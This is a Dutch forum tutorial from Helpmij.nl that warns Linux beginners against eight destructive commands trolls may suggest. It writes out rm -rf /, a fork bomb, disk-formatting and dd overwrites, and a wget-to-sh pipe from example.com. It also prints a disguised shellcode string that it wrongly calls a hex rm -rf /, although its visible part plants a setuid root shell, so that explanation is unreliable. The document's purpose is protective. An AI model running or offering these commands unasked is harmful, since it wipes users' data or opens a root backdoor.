De 8 gevaarlijke commando's Linux terminal

Handleiding van Helpmij.nl

Auteur: femke98

November 2012

De meeste Linux commando's lezen input, zoals de inhoud van een bestand, argumenten en opties. Ze schrijven output. Standaard komt de input van het toetsenbord, output komt op het scherm in een terminalvenster.

Je toetsenbord wordt het standaard input apparaat genoemd. Men kort dit af als stdin. Je scherm noemt men het standaard output apparaat, afgekort als stdout.

Foutmeldingen van commando's worden als een apart type output behandeld, hoewel ze standaard naar hetzelfde apparaat als de standaard output gestuurd worden. Die foutmeldingen noemt men standaard error, afgekort stderr.

Echter Linux is een zeer flexibel systeem. De standaardinstellingen kunnen ook anders zijn. Zo zou standaard input een bestand kunnen zijn in plaats van een toetsenbord, en standaard output zou een printer kunnen zijn in plaats van je scherm.

Nu bestaan er veel commando's voor de terminal. Je geeft dus via je input een commando aan de output.

Als je nieuw bent met Linux, is de kans groot dat je een trol ontmoet op een forum of in een chatroom die je kan verleiden tot het gebruik van commando's die schade kunnen toebrengen aan je bestanden of zelfs aan je gehele besturingssysteem.

Uitleg trol (internet) Wikipedia:

Een trol is een persoon die op fora, websites of chatkanalen berichten plaatst met het doel voorspelbare emotionele reacties (bijvoorbeeld woede, irritatie, verdriet, of scheldpartijen - ook wel flames genoemd in internetjargon) van andere mensen uit te lokken, desinformatie geeft - en dit als informatie laat overkomen - of in een rol kruipt en een vertekend beeld van zichzelf geeft. Bijvoorbeeld door leuzen uit te roepen die geen betrekking hebben op de eigen mening. (einde uitleg)

Om dit gevaarlijke scenario te vermijden, staat hieronder een lijst met 8 dodelijke Linux-commando's die je zeker niet moet gebruiken.

Het leren van de commando's die je juist **niet** moet ingeven plus het leren van hoe Linux nu eigenlijk in elkaar steekt en werkt, kan je beschermen tegen deze trollen op het internet.

Merk op dat veel van deze commando's alleen gevaarlijk zijn als ze voorafgaand met sudo op Ubuntu worden uitgevoerd, anders werken ze niet. Op andere Linux distributies, moeten de meeste commando's als root worden gedraaid.

De gevaarlijke commando's:

1. rm-rf / - Hiermee verwijder je alles!

Het commando rm-rf / verwijdert alles wat het mogelijk is, inclusief bestanden op je harde schijf en bestanden op aangesloten verwijderbare media. Deze opdracht is wat begrijpelijker als je het apart van elkaar ziet:

rm - Verwijderd de volgende bestanden.

-rf - Voert rm herhaaldelijk uit (Verwijderd alle bestanden en mappen in de opgegeven map) en verwijderd alle bestanden zonder waarschuwing vooraf.

/ - Vertelt rm om bij de root-directory te beginnen, waar zich alle bestanden van je computer bevinden.

De les: pas op voor rm -rf.
Er bestaan overigens veel varianten op het rm commando. Let dus in het algemeen op commando's die beginnen met rm.

2. Verkapte rm –rf /

Hier is nog zo'n stukje code wat over het hele internet gaat en waar je voor op moet passen
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Dit is de hex versie van rm-rf / - het uitvoeren van deze opdracht zou al uw bestanden wegvagen, net als wanneer je rm-rf / als opdracht ingeeft.

De les: Voer geen vreemde uitziende, uiteraard vermomde opdrachten uit, die je niet begrijpt.

3. : () {: |: &};: - Forkbomb

De volgende regel is een simpel ogende, maar wel een gevaarlijke bash functie:

:(){ :|: & };:

Het commando maakt dat een soort van programmaatje kopieen van zichzelf maakt, net zolang tot alle resources van de computer gebruikt zijn en de machine crashed. Het proces herhaalt zichzelf voortdurend en de kopieën zullen zichzelf steeds verder voortplanten. Het is eigenlijk een denial-of-service-aanval. (dit heet dus forkbomb)

De les: Bash functies, ook al zijn ze zeer kort, zijn krachtig.

4. mkfs.ext4 /dev/sda1 – Formatteert een harde schijf

De opdracht mkfs.ext4 / dev/sda1 is eenvoudig te begrijpen:

mkfs.ext4 - Maakt een nieuw ext4 bestandssysteem aan op het volgende apparaat.

/ dev/sda1 - Geeft de eerste partitie op de eerste harde schijf aan, die waarschijnlijk in gebruik is.

Bij elkaar genomen, kan deze opdracht vergelekenworden met het uitvoeren van format c: op Windows - het zal de bestanden wissen op je eerste partitie en zullen vervangen worden door een nieuw bestandssysteem.

Deze opdracht kan in andere vormen voorkomen, zoals - mkfs.ext3 / dev/sdb2

Deze opdracht zal dus de tweede partitie formatteren naar het ext3 bestandssysteem.

De les: Pas op met het uitvoeren van opdrachten die beginnen met / dev / sd.

5. command> / dev / sda - Schrijft direct naar een harde schijf
De opdracht command > / dev / sda werkt op vergelijkbare wijze – het voert een opdracht uit en stuurt de output van dat commando direct naar de eerste vaste schijf; het schrijft dus alle gegevens direct naar de harde schijf waardoor er schade aan je bestandssysteem ontstaat.

command - Voert een commando (kan een commando worden.)

> - Stuurt de uitvoer van de opdracht naar de volgende locatie.

/ dev / sda - Schrijft de uitvoer van de opdracht naar de harde schijf.

De les: Zoals hierboven, let op het uitvoeren van opdrachten beginnen met / dev / sd die harde schijf apparaten erbij betrekken.

6. dd if = / dev / random of = / dev / sda - Schrijft troep op een harde schijf
De dd if = / dev / random of = / dev / sda opdracht zal ook de gegevens vernietigen op een van uw harde schijven.

dd - Voert een Low-level kopiëren van de ene locatie naar de andere uit.

if = / dev / random - Gebruik / dev / random (willekeurige data) als de input – je kan ook locaties, zoals / dev / zero (nul) bekijken

of = / dev / sda – Vervangt het bestandssysteem op de eerste harde schijf met willekeurige wartaal.

De les: dd kopieert gegevens van de ene locatie naar de andere, wat gevaarlijk kan zijn als je direct wilt kopiëren naar een ander apparaat.
7. mv ~ / dev / null – Verzet de persoonlijke map naar een "zwart gat"
/ dev / null is een andere bijzondere locatie - het verplaatsen van iets naar / dev / null is hetzelfde als het vernietigen. Denk aan / dev / null als een zwart gat. In wezen, mv ~ / dev / null stuurt al je persoonlijke bestanden naar een zwart gat.

mv - Verplaats het volgende bestand of de map naar een andere locatie.

~ - Geeft je hele persoonlijke map weer..

/ dev / null - verplaats je persoonlijke map naar / dev / null, het zal al je bestanden vernietigen en het verwijderd alle originele exemplaren.

De les: De ~ teken staat voor je persoonlijke map en het verplaatsen van zaken naar / dev / null zal het vernietigen.
8. wget http://example.com/something-O - | sh - Download en voert een script uit
Het bovenstaande commando downloadt een script van het web en stuurt dit naar sh, die de inhoud van het script gevoerd. Dit kan gevaarlijk zijn als je niet zeker weet wat het script is of als je de bron niet vertrouwt – voer dus geen niet-vertrouwde scripts uit.

wget - Download een bestand.

http://example.com/something - Download het bestand van deze locatie.

| - Pijplijn verzendt de output van de wget commando (het bestand dat je download) rechtstreeks naar een andere opdracht.

(Het verticale streepje noemt men in het Engels een pipe. Vandaar dat dit proces ook wel eens pipen genoemd wordt. De Nederlandse term is pijplijn.)

sh - Stuurt het bestand naar de sh commando, waarin deze wordt uitgevoerd als een bash-script.

De les: Download geen niet-vertrouwde scripts vanaf het web, en voer ze ook niet uit, zelfs niet met een commando.

Algemene les: Ga niet in op verzoeken van anderen om iets uit te proberen op je Linux computer; wanneer je ergens een probleem mee hebt, zoek dan een forum op dat als goed bekend staat. En hoewel het mogelijk is dat op goede bekende fora ook trollen voorkomen, zullen die al heel snel worden gevonden door de moderators van dat forum. Trollen vallen eigenlijk best heel snel door de mand.

Voer zelf ook geen commando's uit waarvan je niet weet wat ze doen. Vraag het ergens na of laat het commando richting prullenbak gaan. Vertrouw eigenlijk alleen jezelf!

(De gevaarlijke commando's zijn vertaald vanaf deze site.)